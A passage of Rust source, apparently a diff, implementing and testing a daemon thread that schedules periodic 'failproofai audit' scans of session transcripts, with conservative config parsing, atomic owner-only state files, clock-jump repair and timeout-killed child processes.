EXIT_LOCK_HELD: i32 = 75; + +/// Bumped only for a change no `#[serde(default)]` can absorb. A mismatch reads +/// as "no schedule yet", which re-seeds one interval out — never a scan the user +/// did not ask for. +const SCHEMA: u32 = 1; + +// ── Configuration ──────────────────────────────────────────────────────────── + +/// The `[audit]` table of `config.toml`, resolved. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +struct AuditConfig { + auto: bool, + interval: Duration, +} + +/// Read `[audit]` out of `config.toml`. +/// +/// Every failure — absent file, unparseable TOML, an `[audit]` table of the +/// wrong shape — resolves to OFF rather than to an error or a default-on. The +/// asymmetry with [`crate::cloud_client`], which treats a malformed credential +/// as an error worth surfacing, is deliberate: this switch guards a scan that +/// reads the CONTENTS of every session transcript on disk, so the only safe +/// reading of "we could not tell" is "do not scan". The collector already +/// reports a malformed `config.toml` loudly on the same startup path, so nothing +/// is hidden by staying quiet here. +fn load_config(home: &Path) -> AuditConfig { + let off = AuditConfig { + auto: false, + interval: Duration::from_secs(DEFAULT_INTERVAL_DAYS * 86_400), + }; + let Ok(text) = std::fs::read_to_string(home.join("config.toml")) else { + return off; + }; + // `toml::from_str`, NOT `text.parse::()`: `FromStr for Value` + // parses a single VALUE, so it rejects a whole document at the first table + // header ("unexpected content, expected nothing"). It compiles, it never + // errors visibly, and it makes every `[audit]` table on every machine read + // as absent — i.e. the feature would ship permanently off with no symptom. + // The rest of the codebase reads this file the same way (see + // `fpai_collect::config::load_settings`). + let Ok(root) = toml::from_str::(&text) else { + return off; + }; + let Some(audit) = root.get("audit") else { + return off; + }; + AuditConfig { + // Only a literal `true`. Absent, misspelled and `"yes"` all read as off, + // matching `readConfig` in fp-config.ts — the failure direction that + // matters is a machine that starts reading every transcript it can find + // on a timer nobody set. + auto: audit.get("auto") == Some(&toml::Value::Boolean(true)), + interval: Duration::from_secs(read_interval_days(audit.get("interval_days")) * 86_400), + } +} + +/// The clamp from `readIntervalDays` in `src/hooks/fp-config.ts`, value for +/// value. +/// +/// 0, a negative, a fraction under a day and any non-number all resolve to the +/// DEFAULT rather than clamping up to the 1-day floor: a `0` almost certainly +/// means "off", and reading it as a DAILY full scan is the loudest possible way +/// to get that wrong. A too-large value is clamped DOWN to 90 instead, which is +/// the conservative direction there — falling back to 7 would scan an order of +/// magnitude more often than was asked for. +fn read_interval_days(raw: Option<&toml::Value>) -> u64 { + let days = match raw { + Some(toml::Value::Integer(n)) => *n as f64, + Some(toml::Value::Float(f)) if f.is_finite() => *f, + _ => return DEFAULT_INTERVAL_DAYS, + }; + let days = days.floor(); + if days < MIN_INTERVAL_DAYS as f64 { + return DEFAULT_INTERVAL_DAYS; + } + // Rust saturates float→int casts, so an absurd `interval_days = 1e30` + // lands on u64::MAX here and then on MAX_INTERVAL_DAYS, not on 0. + (days as u64).min(MAX_INTERVAL_DAYS) +} + +// ── Persisted schedule ─────────────────────────────────────────────────────── + +/// `~/.failproofai/state/audit-schedule.json`. The daemon is its only writer. +#[derive(Debug, Clone, PartialEq, Eq, Deserialize, Serialize)] +struct ScheduleState { + schema: u32, + /// Wall clock, milliseconds since the epoch. Not an `Instant`: see the + /// module header. + next_due_at_ms: i64, + /// When a scan was last STARTED — written before the child is spawned. + #[serde(default)] + last_attempt_at_ms: Option, + /// When a scan last finished successfully. Never advanced by an exit 75, + /// which means no scan ran at all. + #[serde(default)] + last_run_at_ms: Option, + #[serde(default)] + last_exit_code: Option, +} + +/// A schedule with no history, for the two branches that have to build one from +/// nothing. `next_due_at_ms` is overwritten by every user of it, so the zero +/// here is a placeholder rather than "due at the epoch". +const BLANK: ScheduleState = ScheduleState { + schema: SCHEMA, + next_due_at_ms: 0, + last_attempt_at_ms: None, + last_run_at_ms: None, + last_exit_code: None, +}; + +/// Load the schedule, or `None` if there is not a usable one. +/// +/// Corruption and an unknown schema are both treated as absent and logged, not +/// propagated: a lane that refused to run because its state file was damaged +/// would be silently inert for as long as nobody looked, whereas re-seeding +/// costs one skipped interval and self-heals. +fn load_state(path: &Path) -> Option { + let text = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&text) { + Ok(state) if state.schema == SCHEMA => Some(state), + Ok(state) => { + eprintln!( + "[failproofaid] audit schedule {} has schema {} (expected {}); re-seeding", + path.display(), + state.schema, + SCHEMA + ); + None + } + Err(err) => { + eprintln!( + "[failproofaid] audit schedule {} is unreadable ({err}); re-seeding", + path.display() + ); + None + } + } +} + +/// Persist atomically (tmp → fsync → rename) at owner-only permissions. +/// +/// Atomic because a torn write here is not a lost byte but a lost schedule, and +/// a lost schedule re-seeds an interval out — which on a machine that crashes +/// mid-write repeatedly would mean the scan never runs at all. 0600 because the +/// file names process ids and scan times of the user's own machine; nothing else +/// under `state/` is world-readable either. +fn save_state(path: &Path, state: &ScheduleState) -> io::Result<()> { + if let Some(dir) = path.parent() { + std::fs::create_dir_all(dir)?; + } + let body = serde_json::to_string_pretty(state).map_err(io::Error::other)?; + let tmp = path.with_extension("json.tmp"); + write_private(&tmp, body.as_bytes())?; + std::fs::rename(&tmp, path) +} + +#[cfg(unix)] +fn write_private(path: &Path, bytes: &[u8]) -> io::Result<()> { + use std::io::Write; + use std::os::unix::fs::OpenOptionsExt; + let mut f = std::fs::OpenOptions::new() + .write(true) + .create(true) + .truncate(true) + .mode(0o600) + .open(path)?; + f.write_all(bytes)?; + f.sync_all() +} + +#[cfg(not(unix))] +fn write_private(path: &Path, bytes: &[u8]) -> io::Result<()> { + std::fs::write(path, bytes) +} + +// ── The due-time algorithm ─────────────────────────────────────────────────── + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Decision { + /// There is no usable due time. Write one, one interval out, and do NOT scan + /// now. + /// + /// Two cases reach it. **No schedule at all** — turning the switch on must + /// not cost the user 104 seconds of disk at that moment, and the daemon + /// restarts often enough (every upgrade, every boot) that "scan the first + /// time you see no state" would be a scan per restart on any machine whose + /// state file cannot be kept. **A due time further out than one whole + /// interval** — which this lane cannot have written against the current + /// clock, so either the clock moved backwards or the interval was shortened; + /// see [`needs_rescheduling`]. + Reschedule, + Wait, + Run, +} + +/// Whether the recorded due time is one this lane could plausibly have written. +/// +/// `next_due_at_ms` is an ABSOLUTE wall-clock instant, and the lane only ever +/// writes `now + interval` — so anything further out than one interval means the +/// ground moved underneath it. The two ways that happens are a clock corrected +/// backwards (NTP after a dead RTC; a dual-boot box writing localtime to the +/// hardware clock) and an `interval_days` the user shortened. Both are +/// indistinguishable from here and both want the same repair. +/// +/// It has to be a REWRITE rather than a clamp applied at read time. A clamp +/// would compute `min(next_due, now + interval)`, which is strictly in the +/// future at every `now` — so a machine whose clock jumped back a year would +/// wait forever, one interval at a time, while its config kept saying the scan +/// was on. Persisting the corrected value is what makes it fire one interval +/// later and then stay correct. +fn needs_rescheduling(state: &ScheduleState, now_ms: i64, interval_ms: i64) -> bool { + state.next_due_at_ms > now_ms.saturating_add(interval_ms) +} + +/// Pure decision, so the awkward cases — asleep long past due, a clock that +/// jumped backwards, a state file that cannot be written — are testable without +/// a daemon, a clock or a 104-second scan. +/// +/// `since_last_attempt` is monotonic and in-memory: it is what holds the floor +/// when the persisted half cannot be written. +fn decide( + state: Option<&ScheduleState>, + now_ms: i64, + interval_ms: i64, + since_last_attempt: Option, +) -> Decision { + let Some(state) = state else { + return Decision::Reschedule; + }; + if needs_rescheduling(state, now_ms, interval_ms) { + return Decision::Reschedule; + } + if now_ms < state.next_due_at_ms { + return Decision::Wait; + } + if since_last_attempt.is_some_and(|elapsed| elapsed < MIN_ATTEMPT_GAP) { + return Decision::Wait; + } + Decision::Run +} + +/// The schedule to persist BEFORE spawning a scan. +/// +/// The next due time is recomputed from `now`, never by adding an interval to +/// the one that was missed. A laptop asleep for 30 days wakes to exactly one +/// scan, not four back-to-back 104-second ones at the worst possible moment. +fn advanced(state: &ScheduleState, now_ms: i64, interval_ms: i64) -> ScheduleState { + ScheduleState { + schema: SCHEMA, + next_due_at_ms: now_ms.saturating_add(interval_ms), + last_attempt_at_ms: Some(now_ms), + ..state.clone() + } +} + +// ── The lane ───────────────────────────────────────────────────────────────── + +/// What the lane last said about itself, so a steady state does not print a line +/// every tick for the life of the daemon. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Announced { + Off, + Scheduled, + NoCliCommand, + /// The schedule could not be seeded, so the lane is stuck: with nothing on + /// disk every tick decides `Reschedule` again, and that branch has no other + /// rate limit — the attempt floor only guards the branch that spawns a scan. + /// Announcing it makes a permanent condition print once, like + /// `NoCliCommand`, rather than a line a minute for the life of the daemon. + /// Same variant whatever the errno, so a changing error message does not + /// reopen the tap. + NoSchedule, +} + +#[derive(Default)] +struct Lane { + announced: Option, + /// Monotonic, in-memory half of the attempt floor. Deliberately not restored + /// from disk on startup: the persisted `next_due_at_ms` is the cross-restart + /// guard, and this one exists precisely for the case where that write did + /// not land. + last_attempt: Option, +} + +/// Start the audit lane. +/// +/// Its own thread, observing the same shutdown flag as the socket server, the +/// collector manager and the cloud lane, so one SIGTERM stops all four. Nothing +/// in here is propagated to `run()`: this daemon fails closed, so a fault in a +/// lane nobody is watching must never be able to take down the process and deny +/// every tool call on the machine. +/// +/// The thread starts even when `auto = false`, which is the default and the +/// common case. It re-reads `config.toml` every tick for the same reason the +/// collector manager and the cloud lane do: `failproofai config` writes that +/// file without root while this is a SYSTEM unit, so resolving once at startup +/// would put `sudo systemctl restart` back into the flow that was built to avoid +/// it. The cost of being wrong the other way is one small file read a minute. +/// Returns `None` when the OS refused the thread. +/// +/// The lane BODY already refuses to propagate a fault, for the reason in the +/// paragraph above — but `Builder::spawn` itself returns a `Result`, and +/// `.expect()`ing it put the one failure the lane cannot catch back on the main +/// thread. A machine at its thread limit (`EAGAIN`) would have panicked +/// `run()`, so the daemon would not start, so on a `daemon.configured` machine +/// every tool call across all twelve CLIs is denied — the exact outcome this +/// lane's design goes out of its way to avoid, reached through the one line +/// that was not guarding against it. Losing the scheduled audit is a feature +/// being off; losing the daemon is a machine being unusable. +pub fn spawn(shutdown: Arc) -> Option> { + let poll = poll_interval(); + std::thread::Builder::new() + .name("fpai-audit-lane".to_string()) + .spawn(move || { + let mut lane = Lane::default(); + while !shutdown.load(Ordering::Relaxed) { + // A panic must not escape this thread. `panic = "unwind"` means + // a thread panic would not by itself end the process today, but + // it WOULD end the lane permanently and silently — the config + // would still say the scan is on and nothing would ever run + // again. Catching it keeps the next tick alive. + if std::panic::catch_unwind(AssertUnwindSafe(|| lane.tick(&shutdown))).is_err() { + eprintln!("[failproofaid] audit lane panicked; it will try again next tick"); + } + wait_until_shutdown(&shutdown, poll); + } + }) + .inspect_err(|err| { + eprintln!("[failproofaid] could not start the audit lane: {err}; scheduled audits are off this run"); + }) + .ok() +} + +impl Lane { + fn tick(&mut self, shutdown: &AtomicBool) { + let Ok(home) = crate::paths::failproofai_home() else { + return; + }; + let config = load_config(&home); + if !config.auto { + self.announce(Announced::Off, "scheduled audit disabled"); + return; + } + + // The single most likely way this feature fails on a real machine: an + // install that predates `FAILPROOFAI_CLI_CMD` keeps its old service + // unit, so the daemon has no way to launch the CLI and the lane is + // permanently inert while the config says the scan is on. Loud, and once + // — `ensureDaemonServiceCurrent()` in daemon-service.ts is what repairs + // it, on the next `failproofai config`. + let Some(cli_cmd) = cli_command() else { + self.announce( + Announced::NoCliCommand, + "scheduled audit is ON but this service unit carries no FAILPROOFAI_CLI_CMD, \ + so nothing can run it — re-run `failproofai config` to refresh the unit", + ); + return; + }; + + let Ok(path) = crate::paths::audit_schedule_path() else { + return; + }; + let interval_ms = config.interval.as_millis() as i64; + let now = now_ms(); + let state = load_state(&path); + + match decide(state.as_ref(), now, interval_ms, self.since_last_attempt()) { + Decision::Wait => { + self.announce(Announced::Scheduled, "scheduled audit enabled"); + } + Decision::Reschedule => { + // Carries the previous run's history forward rather than + // starting a blank file: `last_run_at_ms` is what a status + // readout means by "last audited", and losing it because the + // laptop's clock was corrected would report a machine that has + // been scanning for months as never having run. + let rescheduled = ScheduleState { + schema: SCHEMA, + next_due_at_ms: now.saturating_add(interval_ms), + ..state.unwrap_or(BLANK) + }; + if let Err(err) = save_state(&path, &rescheduled) { + self.announce( + Announced::NoSchedule, + &format!( + "scheduled audit is ON but its schedule cannot be written to {} \ + ({err}), so no scan will run until that is fixed", + path.display() + ), + ); + return; + } + self.announce(Announced::Scheduled, "scheduled audit enabled"); + } + Decision::Run => { + // Before the write, not after: a write that keeps failing must + // still be rate-limited to one attempt per gap rather than + // producing a warning (and, without the guard below, a scan) on + // every tick. + self.last_attempt = Some(Instant::now()); + + let mut next = advanced(&state.unwrap_or(BLANK), now, interval_ms); + if let Err(err) = save_state(&path, &next) { + // Refusing to scan is the safe direction. Scanning anyway + // would leave the schedule unadvanced on disk, and the unit + // is Restart=on-failure — so any restart would launch + // another full scan, and a restart loop would launch them + // back to back forever. + eprintln!( + "[failproofaid] skipping the scheduled audit: could not persist the \ + schedule first ({err})" + ); + return; + } + + self.announce(Announced::Scheduled, "scheduled audit enabled"); + match run_audit_child(&cli_cmd, shutdown) { + Outcome::Exited(EXIT_LOCK_HELD) => { + // Not a failure and not a run: another entry point (a + // manual `failproofai audit`, or the dashboard) holds + // the lock. Come back at the gap floor rather than a + // full interval, and leave `last_run_at_ms` alone — + // nothing was scanned. + next.next_due_at_ms = + now.saturating_add(MIN_ATTEMPT_GAP.as_millis() as i64); + next.last_exit_code = Some(EXIT_LOCK_HELD); + eprintln!( + "[failproofaid] scheduled audit skipped: another audit holds the lock" + ); + } + Outcome::Exited(0) => { + // Read the clock again: the scan itself took real time, and + // "when did the last audit finish" is what a status + // readout means by last run. + next.last_run_at_ms = Some(now_ms()); + next.last_exit_code = Some(0); + } + Outcome::Exited(code) => { + next.last_exit_code = Some(code); + eprintln!("[failproofaid] scheduled audit failed (exit {code})"); + } + Outcome::Signalled => { + next.last_exit_code = None; + eprintln!("[failproofaid] scheduled audit was killed before it finished"); + } + Outcome::NotStarted(err) => { + next.last_exit_code = None; + eprintln!("[failproofaid] could not start the scheduled audit: {err}"); + } + } + // Best effort: the schedule that matters was already persisted + // above, so failing here costs a status readout, not a cadence. + if let Err(err) = save_state(&path, &next) { + eprintln!("[failproofaid] could not record the audit outcome: {err}"); + } + } + } + } + + fn since_last_attempt(&self) -> Option { + self.last_attempt.map(|at| at.elapsed()) + } + + /// Log a state change once, never the state itself repeatedly. + fn announce(&mut self, state: Announced, message: &str) { + if self.announced == Some(state) { + return; + } + self.announced = Some(state); + eprintln!("[failproofaid] {message}"); + } +} + +// ── The child process ──────────────────────────────────────────────────────── + +enum Outcome { + Exited(i32), + /// Killed by a signal — the hard timeout, or a shutdown mid-scan. + Signalled, + NotStarted(io::Error), +} + +/// The command that runs one CLI task, from the service unit's environment. +/// +/// Written there by `resolveCliCommand()` in `src/hooks/daemon-service.ts` as an +/// absolute runtime plus an absolute `dist/cli.mjs`, because a system-scope unit +/// has no login environment and the most common Node install (nvm) is on no +/// system PATH. There is deliberately no fallback to a bare `failproofai`: one +/// that resolved to a DIFFERENT installation than the one that wrote this unit +/// would scan with a different build's audit engine, silently. +fn cli_command() -> Option { + usable_cli_command(std::env::var("FAILPROOFAI_CLI_CMD").ok()) +} + +/// Split out so the "present but empty" case is testable without mutating +/// process-global environment, which Rust's parallel test harness makes a race +/// rather than a fixture. +fn usable_cli_command(raw: Option) -> Option { + raw.map(|v| v.trim().to_string()).filter(|v| !v.is_empty()) +} + +/// Run one scan to completion, killing it if it wedges or the daemon is stopping. +fn run_audit_child(cli_cmd: &str, shutdown: &AtomicBool) -> Outcome { + let mut child = match spawn_audit_child(cli_cmd) { + Ok(child) => child, + Err(err) => return Outcome::NotStarted(err), + }; + + let started = Instant::now(); + loop { + match child.try_wait() { + Ok(Some(status)) => { + return match status.code() { + Some(code) => Outcome::Exited(code), + None => Outcome::Signalled, + }; + } + Ok(None) => {} + Err(err) => { + kill_process_group(&mut child); + return Outcome::NotStarted(err); + } + } + // Kill rather than orphan on shutdown. systemd's default + // KillMode=control-group would reap it anyway, but leaving that to the + // service manager means the daemon's own `join()` waits out a 104-second + // scan on every restart — and on macOS nothing reaps it at all, so a + // scan would outlive the daemon holding the audit lock. + if shutdown.load(Ordering::Relaxed) { + eprintln!("[failproofaid] stopping the scheduled audit for shutdown"); + kill_process_group(&mut child); + return Outcome::Signalled; + } + if started.elapsed() > CHILD_TIMEOUT { + eprintln!( + "[failproofaid] scheduled audit exceeded {}s; killing it", + CHILD_TIMEOUT.as_secs() + ); + kill_process_group(&mut child); + return Outcome::Signalled; + } + std::thread::sleep(Duration::from_millis(200)); + } +} + +fn spawn_audit_child(cli_cmd: &str) -> io::Result { + use std::os::unix::process::CommandExt; + + let mut command = Command::new("sh"); + command + .arg("-c") + .arg(format!("{cli_cmd} audit --scheduled")) + .stdin(Stdio::null()) + // Piped and drained, exactly as the warm worker's spawn is and for the + // same two reasons: inheriting this process's stdout hands the child a + // copy of an fd that may belong to a pipeline (so that pipe never sees + // EOF while the child lives), and an undrained pipe fills at ~64 KiB and + // blocks the child mid-write — which for a scan means a wedged audit + // holding the lock until the timeout above. + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + // Its own process group, so the timeout can kill the whole tree: `sh -c` + // is not guaranteed to exec(2) into the command in place, and killing + // only the tracked pid would leave a real, orphaned scan running. + .process_group(0); + unsafe { + // `setpriority` rather than prefixing the command with `nice`: this runs + // through `sh -c` with a system unit's minimal PATH, and depending on an + // external binary being on it is exactly the class of assumption that + // made a bare `node` in ExecStart fail. The niceness survives exec, so + // setting it here covers the whole tree. + // + // SAFETY: `setpriority` is a bare syscall — no allocation, no locks — + // which is what a post-fork pre-exec closure is allowed to do. Lowering + // one's own priority never fails in a way worth aborting the spawn over, + // so the result is ignored: a scan at normal priority is still better + // than no scan. + command.pre_exec(|| { + libc::setpriority(libc::PRIO_PROCESS, 0, 19); + Ok(()) + }); + } + + let mut child = command.spawn()?; + if let Some(out) = child.stdout.take() { + std::thread::spawn(move || forward_child_output("stdout", out)); + } + if let Some(err) = child.stderr.take() { + std::thread::spawn(move || forward_child_output("stderr", err)); + } + Ok(child) +} + +/// Relay one of the child's pipes to the daemon's stderr, which systemd/launchd +/// already capture. Ends on EOF when the child exits. +fn forward_child_output(label: &'static str, pipe: impl io::Read) { + use std::io::BufRead; + for line in io::BufReader::new(pipe).lines().map_while(Result::ok) { + eprintln!("[failproofaid] audit {label}: {line}"); + } +} + +/// Kills the whole group the child leads (see `.process_group(0)` above), then +/// reaps it so the daemon does not accumulate zombies over its lifetime. +fn kill_process_group(child: &mut Child) { + let pgid = child.id() as libc::pid_t; + unsafe { + libc::kill(-pgid, libc::SIGKILL); + } + let _ = child.wait(); +} + +// ── Timing helpers ─────────────────────────────────────────────────────────── + +fn now_ms() -> i64 { + match SystemTime::now().duration_since(UNIX_EPOCH) { + Ok(d) => d.as_millis() as i64, + // A clock set before 1970. Negative is the honest reading, and + // `needs_rescheduling` is what makes the schedule usable again once the + // clock is corrected — every due time this lane wrote while the clock + // was wrong then sits more than one interval out and gets rewritten. + Err(err) => -(err.duration().as_millis() as i64), + } +} + +/// How often to re-check whether a scan is due. A minute is far finer than the +/// coarsest schedule anyone can configure (one day), and the tick itself is one +/// small file read plus one small JSON read. The override exists so an e2e run +/// does not have to wait a minute for the first tick. +fn poll_interval() -> Duration { + const DEFAULT_MS: u64 = 60_000; + const MINIMUM_MS: u64 = 500; + let ms = std::env::var("FAILPROOFAI_AUDIT_POLL_MS") + .ok() + .and_then(|v| v.parse::().ok()) + .unwrap_or(DEFAULT_MS); + Duration::from_millis(ms.max(MINIMUM_MS)) +} + +/// Sleep in short slices so a SIGTERM is acted on within milliseconds rather +/// than at the end of a poll interval. +fn wait_until_shutdown(shutdown: &AtomicBool, interval: Duration) { + let deadline = Instant::now() + interval; + while !shutdown.load(Ordering::Relaxed) && Instant::now() < deadline { + let remaining = deadline.saturating_duration_since(Instant::now()); + std::thread::sleep(remaining.min(Duration::from_millis(50))); + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + const DAY_MS: i64 = 86_400_000; + const WEEK_MS: i64 = 7 * DAY_MS; + + fn scratch(name: &str) -> PathBuf { + let dir = std::env::temp_dir().join(format!( + "fpai-audit-lane-{}-{name}-{}", + std::process::id(), + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() + )); + std::fs::create_dir_all(&dir).unwrap(); + dir + } + + fn state_at(next_due_at_ms: i64) -> ScheduleState { + ScheduleState { + next_due_at_ms, + ..BLANK + } + } + + // ── config ─────────────────────────────────────────────────────────────── + + #[test] + fn auto_is_off_unless_the_table_says_exactly_true() { + let dir = scratch("auto"); + for (body, expected) in [ + ("[audit]\nauto = true\n", true), + ("[audit]\nauto = false\n", false), + ("[audit]\nauto = \"true\"\n", false), + ("[audit]\nauto = 1\n", false), + ("[audit]\n", false), + ("[collector]\nhooks = true\n", false), + ("", false), + ] { + std::fs::write(dir.join("config.toml"), body).unwrap(); + assert_eq!(load_config(&dir).auto, expected, "for config: {body:?}"); + } + std::fs::remove_dir_all(&dir).ok(); + } + + #[test] + fn an_absent_or_unparseable_config_reads_as_off() { + // "We could not tell" must never mean "scan every transcript on disk". + let dir = scratch("bad-config"); + assert!(!load_config(&dir).auto, "no config.toml at all"); + std::fs::write(dir.join("config.toml"), "[audit\nauto = true").unwrap(); + assert!(!load_config(&dir).auto, "unparseable TOML"); + std::fs::remove_dir_all(&dir).ok(); + } + + #[test] + fn interval_days_matches_the_typescript_clamp_value_for_value() { + // Two readers of one file. A disagreement here is a machine scanning on + // a cadence nobody chose, which nothing reports. + for (raw, expected_days) in [ + (Some(toml::Value::Integer(3)), 3_u64), + (Some(toml::Value::Integer(1)), 1), + (Some(toml::Value::Integer(90)), 90), + // Clamped DOWN, because scanning less often than asked is the + // conservative direction. + (Some(toml::Value::Integer(3650)), 90), + // 0 almost certainly means "off", which has its own switch — reading + // it as a DAILY full scan is the loudest possible misreading. + (Some(toml::Value::Integer(0)), DEFAULT_INTERVAL_DAYS), + (Some(toml::Value::Integer(-5)), DEFAULT_INTERVAL_DAYS), + (Some(toml::Value::Float(0.5)), DEFAULT_INTERVAL_DAYS), + (Some(toml::Value::Float(7.9)), 7), + (Some(toml::Value::Float(1e30)), 90), + (Some(toml::Value::String("7".into())), DEFAULT_INTERVAL_DAYS), + (None, DEFAULT_INTERVAL_DAYS), + ] { + assert_eq!( + read_interval_days(raw.as_ref()), + expected_days, + "for {raw:?}" + ); + } + } + + // ── state persistence ──────────────────────────────────────────────────── + + #[test] + fn a_saved_schedule_round_trips() { + let dir = scratch("roundtrip"); + let path = dir.join("state").join("audit-schedule.json"); + let state = ScheduleState { + schema: SCHEMA, + next_due_at_ms: 1_700_000_000_000, + last_attempt_at_ms: Some(1_699_000_000_000), + last_run_at_ms: Some(1_699_000_100_000), + last_exit_code: Some(0), + }; + save_state(&path, &state).unwrap(); + assert_eq!(load_state(&path), Some(state)); + std::fs::remove_dir_all(&dir).ok(); + } + + #[test] + fn the_schedule_file_is_owner_only_and_leaves_no_staging_file() { + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let dir = scratch("mode"); + let path = dir.join("audit-schedule.json"); + save_state(&path, &state_at(1)).unwrap(); + let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600, "got {mode:o}"); + assert!( + !dir.join("audit-schedule.json.tmp").exists(), + "the atomic rename must not leave its staging file behind" + ); + std::fs::remove_dir_all(&dir).ok(); + } + } + + #[test] + fn a_corrupt_or_future_schedule_reads_as_absent_rather_than_wedging_the_lane() { + // Refusing to run over a damaged state file would leave the lane + // silently inert for as long as nobody looked. Re-seeding costs one + // interval and self-heals. + let dir = scratch("corrupt"); + let path = dir.join("audit-schedule.json"); + + std::fs::write(&path, "{not json").unwrap(); + assert_eq!(load_state(&path), None); + + std::fs::write(&path, r#"{"schema":99,"next_due_at_ms":5}"#).unwrap(); + assert_eq!(load_state(&path), None); + + assert_eq!(load_state(&dir.join("nope.json")), None); + std::fs::remove_dir_all(&dir).ok(); + } + + // ── the due algorithm ──────────────────────────────────────────────────── + + #[test] + fn no_schedule_writes_one_instead_of_scanning_immediately() { + // The daemon restarts on every upgrade and every boot. "Scan the first + // time you see no state" would be a full scan per restart on any machine + // whose state file cannot be kept. + assert_eq!(decide(None, 1_000, WEEK_MS, None), Decision::Reschedule); + } + + #[test] + fn a_schedule_in_the_future_waits() { + let now = 1_700_000_000_000; + let state = state_at(now + DAY_MS); + assert_eq!(decide(Some(&state), now, WEEK_MS, None), Decision::Wait); + } + + #[test] + fn a_due_schedule_runs() { + let now = 1_700_000_000_000; + let state = state_at(now); + assert_eq!(decide(Some(&state), now, WEEK_MS, None), Decision::Run); + } + + #[test] + fn a_laptop_asleep_past_due_runs_exactly_once() { + // Never four back-to-back 104-second scans on wake: the next due time is + // recomputed from `now`, not by adding intervals to the missed one. + let due = 1_700_000_000_000; + let state = state_at(due); + let wake = due + 30 * DAY_MS; + + assert_eq!(decide(Some(&state), wake, WEEK_MS, None), Decision::Run); + + let after = advanced(&state, wake, WEEK_MS); + assert_eq!(after.next_due_at_ms, wake + WEEK_MS); + assert_eq!(after.last_attempt_at_ms, Some(wake)); + // The very next tick (in-memory floor aside) must not run again. + assert_eq!(decide(Some(&after), wake, WEEK_MS, None), Decision::Wait); + assert_eq!( + decide(Some(&after), wake + DAY_MS, WEEK_MS, None), + Decision::Wait + ); + } + + #[test] + fn a_clock_jumped_backwards_is_repaired_rather_than_parked_forever() { + // An absolute wall-clock due time sits a year out after an NTP correction + // on a box with a dead RTC (or a dual-boot machine writing localtime to + // the hardware clock). The lane must rewrite it — a read-time clamp is + // always one interval ahead of `now`, so the scan would never fire while + // the config kept saying it was on. + let now = 1_700_000_000_000; + let state = state_at(now + 400 * DAY_MS); + assert_eq!( + decide(Some(&state), now, WEEK_MS, None), + Decision::Reschedule + ); + + // The rewrite is what recovers, and it is a one-shot: the very next tick + // waits rather than rescheduling again. + let repaired = ScheduleState { + next_due_at_ms: now + WEEK_MS, + ..state + }; + assert_eq!(decide(Some(&repaired), now, WEEK_MS, None), Decision::Wait); + assert_eq!( + decide(Some(&repaired), now + WEEK_MS, WEEK_MS, None), + Decision::Run + ); + } + + #[test] + fn a_reschedule_keeps_the_history_a_status_readout_shows() { + // Losing last_run_at_ms because the laptop's clock was corrected would + // report a machine that has been scanning for months as never audited. + let now = 1_700_000_000_000; + let state = ScheduleState { + next_due_at_ms: now + 400 * DAY_MS, + last_run_at_ms: Some(now - DAY_MS), + last_exit_code: Some(0), + ..BLANK + }; + let rescheduled = ScheduleState { + schema: SCHEMA, + next_due_at_ms: now + WEEK_MS, + ..state.clone() + }; + assert_eq!(rescheduled.last_run_at_ms, state.last_run_at_ms); + assert_eq!(rescheduled.last_exit_code, state.last_exit_code); + } + + #[test] + fn shortening_the_interval_takes_effect_without_waiting_out_the_old_one() { + // Written under interval_days = 90, read back under 7. + let now = 1_700_000_000_000; + let state = state_at(now + 89 * DAY_MS); + assert!(needs_rescheduling(&state, now, WEEK_MS)); + // And exactly one interval out is NOT rescheduled — otherwise every + // schedule this lane writes would be rewritten on the next tick. + assert!(!needs_rescheduling(&state_at(now + WEEK_MS), now, WEEK_MS)); + } + + #[test] + fn the_in_memory_gap_floor_holds_even_when_the_schedule_says_due() { + // The case it exists for: a home the daemon cannot write to. The + // persisted schedule never advances there, so without this floor the + // machine would start a fresh 104-second scan on every poll tick. + let now = 1_700_000_000_000; + let state = state_at(now - DAY_MS); + assert_eq!( + decide(Some(&state), now, WEEK_MS, Some(Duration::from_secs(60))), + Decision::Wait + ); + assert_eq!( + decide(Some(&state), now, WEEK_MS, Some(MIN_ATTEMPT_GAP)), + Decision::Run + ); + } + + // ── the child ──────────────────────────────────────────────────────────── + + #[test] + fn the_child_runs_the_scheduled_entry_point_and_its_exit_code_is_reported() { + // Proves the whole spawn recipe — `sh -c`, piped-and-drained stdio, its + // own process group, the pre-exec niceness — actually executes and hands + // back a code the tick can branch on. `printf` stands in for the CLI. + let shutdown = AtomicBool::new(false); + let out = scratch("child"); + let marker = out.join("argv"); + // An inner `sh -c … fp` so the appended arguments land as positional + // parameters it can echo back; the outer shell reports its exit code. + let cmd = format!( + "sh -c 'printf \"%s\" \"$*\" > {} ; exit 75' fp", + marker.display() + ); + + match run_audit_child(&cmd, &shutdown) { + Outcome::Exited(code) => assert_eq!(code, EXIT_LOCK_HELD), + _ => panic!("the child should have exited with a code"), + } + assert_eq!( + std::fs::read_to_string(&marker).unwrap(), + "audit --scheduled", + "the lane must invoke the headless entry point, never the interactive one" + ); + std::fs::remove_dir_all(&out).ok(); + } + + #[test] + fn a_shutdown_kills_a_running_scan_instead_of_orphaning_it() { + // A restart must not wait out a 104-second scan, and on macOS nothing + // reaps a child the daemon leaves behind — it would outlive the daemon + // still holding the audit lock. + let shutdown = Arc::new(AtomicBool::new(false)); + let flag = shutdown.clone(); + std::thread::spawn(move || { + std::thread::sleep(Duration::from_millis(300)); + flag.store(true, Ordering::Relaxed); + }); + let started = Instant::now(); + // `sleep 60` stands in for a wedged scan; `:` keeps the appended + // arguments syntactically valid. + match run_audit_child("sleep 60 ; :", &shutdown) { + Outcome::Signalled => {} + _ => panic!("a shutdown mid-scan must end the child"), + } + assert!( + started.elapsed() < Duration::from_secs(30), + "the lane must not wait out the child" + ); + } + + #[test] + fn a_command_that_cannot_run_is_reported_rather_than_panicking() { + // `sh -c` itself always starts, so the failure surfaces as a nonzero + // exit rather than a spawn error — either way the lane must record it + // and carry on. + let shutdown = AtomicBool::new(false); + match run_audit_child("/nonexistent/failproofai-binary", &shutdown) { + 